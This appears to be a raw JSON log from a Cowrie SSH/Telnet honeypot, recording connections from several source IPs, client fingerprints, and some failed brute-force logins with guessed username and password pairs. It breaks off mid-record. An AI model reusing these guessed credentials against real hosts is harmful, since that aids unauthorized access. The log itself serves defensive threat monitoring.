{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48122,"dst_ip":"159.203.135.109","dst_port":23,"session":"938f9639bdb8","protocol":"telnet","message":"New connection: 161.97.105.174:48122 (159.203.135.109:23) [session: 938f9639bdb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:07.884337Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:08.308367Z","src_ip":"209.99.189.174","session":"fd805becc970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.15621590614319,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:10.972858Z","src_ip":"161.97.105.174","session":"6fd6f6c9b403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.11087083816528,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:11.324031Z","src_ip":"161.97.105.174","session":"66d72044fa7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":32237,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e1dee9d38b1","protocol":"ssh","message":"New connection: 220.247.224.226:32237 (159.203.135.109:22) [session: 9e1dee9d38b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:11.620029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:11.624886Z","src_ip":"220.247.224.226","session":"9e1dee9d38b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:11.860693Z","src_ip":"220.247.224.226","session":"9e1dee9d38b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.280683279037476,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:12.517773Z","src_ip":"161.97.105.174","session":"e7da9afb85a9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"20232023","message":"login attempt [ubuntu/20232023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:12.814440Z","src_ip":"220.247.224.226","session":"9e1dee9d38b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:14.047719Z","src_ip":"220.247.224.226","session":"9e1dee9d38b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.45301127433777,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:14.953468Z","src_ip":"161.97.105.174","session":"1e41f54792c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40886092185974,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:15.981383Z","src_ip":"161.97.105.174","session":"06d155ccdf1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.81110429763794,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:17.132769Z","src_ip":"161.97.105.174","session":"5c79e968ede7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.58158779144287,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:18.888691Z","src_ip":"64.227.101.30","session":"ef942882e416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.364314794540405,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:19.176522Z","src_ip":"161.97.105.174","session":"beb9428c9e7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39154,"dst_ip":"159.203.135.109","dst_port":23,"session":"53e574cb240a","protocol":"telnet","message":"New connection: 161.97.105.174:39154 (159.203.135.109:23) [session: 53e574cb240a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:23.487939Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45570,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a22280c4b88","protocol":"telnet","message":"New connection: 64.227.101.30:45570 (10.17.0.5:23) [session: 4a22280c4b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:24.222887Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39162,"dst_ip":"159.203.135.109","dst_port":23,"session":"756e4c11d822","protocol":"telnet","message":"New connection: 161.97.105.174:39162 (159.203.135.109:23) [session: 756e4c11d822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:25.132709Z"}
{"eventid":"cowrie.session.closed","duration":33.42544198036194,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:25.282798Z","src_ip":"161.97.105.174","session":"0ff485805bd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.3773174285888672,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:25.600103Z","src_ip":"64.227.101.30","session":"4a22280c4b88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48432,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b9275b40b4a","protocol":"telnet","message":"New connection: 161.97.105.174:48432 (159.203.135.109:23) [session: 9b9275b40b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:29.771032Z"}
{"eventid":"cowrie.session.closed","duration":38.74395275115967,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:30.819289Z","src_ip":"64.227.101.30","session":"916e7093c8fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48434,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c4a27281c6b","protocol":"telnet","message":"New connection: 161.97.105.174:48434 (159.203.135.109:23) [session: 2c4a27281c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:38.178703Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47422,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf4442d835c5","protocol":"telnet","message":"New connection: 161.97.105.174:47422 (159.203.135.109:23) [session: cf4442d835c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:39.767384Z"}
{"eventid":"cowrie.session.closed","duration":33.86206889152527,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:41.746236Z","src_ip":"161.97.105.174","session":"938f9639bdb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47428,"dst_ip":"159.203.135.109","dst_port":23,"session":"40f7e591c519","protocol":"telnet","message":"New connection: 161.97.105.174:47428 (159.203.135.109:23) [session: 40f7e591c519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:43.505033Z"}
{"eventid":"cowrie.session.closed","duration":41.44089913368225,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:44.332137Z","src_ip":"64.227.101.30","session":"7c81c01b4a98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35142,"dst_ip":"10.17.0.5","dst_port":23,"session":"170cbdd7196e","protocol":"telnet","message":"New connection: 64.227.101.30:35142 (10.17.0.5:23) [session: 170cbdd7196e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:45.451174Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47430,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c8e7bc963d9","protocol":"telnet","message":"New connection: 161.97.105.174:47430 (159.203.135.109:23) [session: 8c8e7bc963d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:45.455830Z"}
{"eventid":"cowrie.session.closed","duration":1.137007236480713,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:46.588078Z","src_ip":"64.227.101.30","session":"170cbdd7196e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":56890,"dst_ip":"10.17.0.5","dst_port":22,"session":"47178326ae8e","protocol":"ssh","message":"New connection: 103.170.173.26:56890 (10.17.0.5:22) [session: 47178326ae8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:52.180519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:52.184624Z","src_ip":"103.170.173.26","session":"47178326ae8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:52.443986Z","src_ip":"103.170.173.26","session":"47178326ae8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo10","password":"odoo10","message":"login attempt [odoo10/odoo10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:53.515967Z","src_ip":"103.170.173.26","session":"47178326ae8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:54.779508Z","src_ip":"103.170.173.26","session":"47178326ae8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.040766954422,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:55.528453Z","src_ip":"161.97.105.174","session":"53e574cb240a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.487465381622314,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:37:59.620065Z","src_ip":"161.97.105.174","session":"756e4c11d822","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51378,"dst_ip":"10.17.0.5","dst_port":22,"session":"257620258d84","protocol":"ssh","message":"New connection: 193.32.162.145:51378 (10.17.0.5:22) [session: 257620258d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:00.755292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:00.761535Z","src_ip":"193.32.162.145","session":"257620258d84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":35294,"dst_ip":"10.17.0.5","dst_port":22,"session":"db19db668d41","protocol":"ssh","message":"New connection: 209.99.189.174:35294 (10.17.0.5:22) [session: db19db668d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:00.819907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:00.826832Z","src_ip":"209.99.189.174","session":"db19db668d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:00.864746Z","src_ip":"193.32.162.145","session":"257620258d84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:00.959011Z","src_ip":"209.99.189.174","session":"db19db668d41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"moon","message":"login attempt [ubuntu/moon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:01.173273Z","src_ip":"193.32.162.145","session":"257620258d84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"xsw21qaz","message":"login attempt [ubuntu/xsw21qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:01.509610Z","src_ip":"209.99.189.174","session":"db19db668d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:02.277090Z","src_ip":"193.32.162.145","session":"257620258d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.81007242202759,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:02.581000Z","src_ip":"161.97.105.174","session":"9b9275b40b4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:02.644133Z","src_ip":"209.99.189.174","session":"db19db668d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49828,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a2609842010","protocol":"telnet","message":"New connection: 161.97.105.174:49828 (159.203.135.109:23) [session: 9a2609842010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:06.129257Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48682,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e40a929ad06","protocol":"telnet","message":"New connection: 64.227.101.30:48682 (10.17.0.5:23) [session: 5e40a929ad06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:07.472543Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60358,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8bdb32f03b0","protocol":"telnet","message":"New connection: 161.97.105.174:60358 (159.203.135.109:23) [session: f8bdb32f03b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:08.617045Z"}
{"eventid":"cowrie.session.closed","duration":32.06113290786743,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:10.239722Z","src_ip":"161.97.105.174","session":"2c4a27281c6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.157777309417725,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:13.925062Z","src_ip":"161.97.105.174","session":"cf4442d835c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60372,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3d7094fcb47","protocol":"telnet","message":"New connection: 161.97.105.174:60372 (159.203.135.109:23) [session: c3d7094fcb47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:17.523461Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54328,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e61b2118f17","protocol":"telnet","message":"New connection: 64.227.101.30:54328 (10.17.0.5:23) [session: 5e61b2118f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:18.193291Z"}
{"eventid":"cowrie.session.closed","duration":35.50871276855469,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:19.013654Z","src_ip":"161.97.105.174","session":"40f7e591c519","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.83334708213806,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:19.289058Z","src_ip":"161.97.105.174","session":"8c8e7bc963d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41470,"dst_ip":"159.203.135.109","dst_port":23,"session":"b65e819f80aa","protocol":"telnet","message":"New connection: 161.97.105.174:41470 (159.203.135.109:23) [session: b65e819f80aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:21.357629Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41472,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3849b7424ed","protocol":"telnet","message":"New connection: 161.97.105.174:41472 (159.203.135.109:23) [session: e3849b7424ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:21.759490Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":45678,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfe3b9a4f3ed","protocol":"ssh","message":"New connection: 78.128.112.74:45678 (159.203.135.109:22) [session: dfe3b9a4f3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:21.774960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:21.935426Z","src_ip":"78.128.112.74","session":"dfe3b9a4f3ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecds